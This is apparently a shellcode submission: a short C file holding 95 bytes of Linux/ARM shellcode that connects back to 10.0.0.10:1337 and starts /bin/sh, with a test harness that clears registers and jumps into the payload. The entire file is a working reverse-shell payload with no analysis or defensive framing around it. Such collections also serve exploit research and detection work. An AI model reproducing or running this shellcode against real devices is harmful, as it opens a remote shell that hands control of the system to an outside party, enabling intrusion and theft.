/*
Title : Linux/ARM - Connect back to {ip:port} with /bin/sh
Length : 95 bytes
Date : 2014-06-03
Author : Xeon
Tested : ARM1176 rev6 (v6l)
*/
#include <stdio.h>
#include <string.h>
char *shellcode = "\x01\x60\x8f\xe2\x16\xff\x2f\xe1\x92\x1a\x90\x1a\x17\x27\x01\xdf"
"\x02\x20\x41\x1e\x82\x1e\x07\x02\xe7\x3f\x01\xdf\x05\x1c\x01\xac"
"\x02\x21\x21\x60\x02\x34\x05\x21\x21\x70\x01\x34\x39\x21\x21\x70"
"\x0a\x21\x02\x91\x04\x34\x21\x70\x01\xa9\x10\x22\x02\x37\x01\xdf"
"\xdc\x3f\x02\x21\x28\x1c\x01\xdf\x01\x39\xfb\xd5\x49\x1a\x92\x1a"
"\x0b\x27\x01\xa0\x01\xdf\xc0\x46\x2f\x62\x69\x6e\x2f\x73\x68"; /* 10.0.0.10:1337 */
int main()
{
__asm__ ( "eor r0, r0\n\t"
"sub r0, #1\n\t"
"mov r1, r0\n\t"
"mov r2, r0\n\t"
"mov r3, r0\n\t"
"mov r4, r0\n\t"
"mov r5, r0\n\t"
"mov r6, r0\n\t"
"mov r7, r0\n\t");
printf("Shellcode length: %d\n", strlen(shellcode));
printf("Running shellcode...\n");
(*(void(*)()) shellcode)();
printf("Failed!\n");
return 0;
}